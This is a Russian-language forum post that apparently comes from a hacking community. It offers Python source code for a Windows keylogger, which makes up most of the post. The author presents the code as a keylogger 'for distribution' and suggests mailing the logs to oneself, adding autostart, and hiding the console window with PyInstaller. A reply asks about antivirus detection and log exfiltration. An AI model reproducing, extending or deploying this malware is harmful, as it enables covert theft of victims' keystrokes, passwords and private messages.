Простой keylogger на Python

emercom

Знающий
Забанен
Дней с нами
2.292
Розыгрыши
0
Сообщения
92
Репутация
6
Реакции
113
Внимание! Данный материал предоставлен только для ознакомления. Автор данной статьи не несет ответственности за ваши действия в сети.
python-logo.png

Кейлоггеры - это программы которые перехватывают нажатия клавиш в любом окне, и записывают их в лог.
Пример простого кейлоггера на Python для Windows который мониторит нажатие АНГЛИЙСКИХ букв (русские игнорирует), и записывает их в файл log.txt. Игнорируются повторы букв.

Можете добавить отправку лога к себе на почту, установку кейлоггера в автозагрузку и прочие плюшки на свое усмотрение. Скомпилируйте с помощью PyInstaller и избавьтесь от черного окна при запуске скрипта.

Данный код вставляем в Python 3, скачать можно по ссылке.
import win32api, win32con, time, os.path, inspect, sys
from ctypes import *
user32 = windll.user32
kernel32 = windll.kernel32


def get_script_dir(follow_symlinks=True):
if getattr(sys, 'frozen', False): # py2exe, PyInstaller, cx_Freeze
path = os.path.abspath(sys.executable)
else:
path = inspect.getabsfile(get_script_dir)
if follow_symlinks:
path = os.path.realpath(path)
return os.path.dirname(path)

cat=get_script_dir()+'\\log.txt'
if (not os.path.exists(cat)):
f = open('log.txt', 'w')
f.write('Log // ')
f.close()

class RECT(Structure):
_fields_ = [
("left", c_ulong),
("top", c_ulong),
("right", c_ulong),
("bottom", c_ulong)
]


class GUITHREADINFO(Structure):
_fields_ = [
("cbSize", c_ulong),
("flags", c_ulong),
("hwndActive", c_ulong),
("hwndFocus", c_ulong),
("hwndCapture", c_ulong),
("hwndMenuOwner", c_ulong),
("hwndMoveSize", c_ulong),
("hwndCaret", c_ulong),
("rcCaret", RECT)
]


f = open('log.txt', 'a')

check = True
previos=-1
previoschar=''
while check:
gti = GUITHREADINFO(cbSize=sizeof(GUITHREADINFO))
user32.GetGUIThreadInfo(0, byref(gti))
dwThread = user32.GetWindowThreadProcessId(gti.hwndActive, 0)
lang = user32.GetKeyboardLayout(dwThread)
if(lang==67699721):
for x in range(1,255):
if win32api.GetAsyncKeyState(ord(chr(x))):
if(x!=previos):
s=(chr(x)).lower()
if((previos==160) or (previos==16)):
s=chr(x)
previos=x
if (s in 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@$!-=_;":,.*+-()^&#%№ '):
if(s!=previoschar):
f.write(s)
f.close()
f = open('log.txt', 'a')
previoschar=s

Сохраняем код в файле. Это и будет наш кейлоггер для распространения.
 
палится антивирусом? как добавить отправку лога на почту? как убрать игнорирование повторов?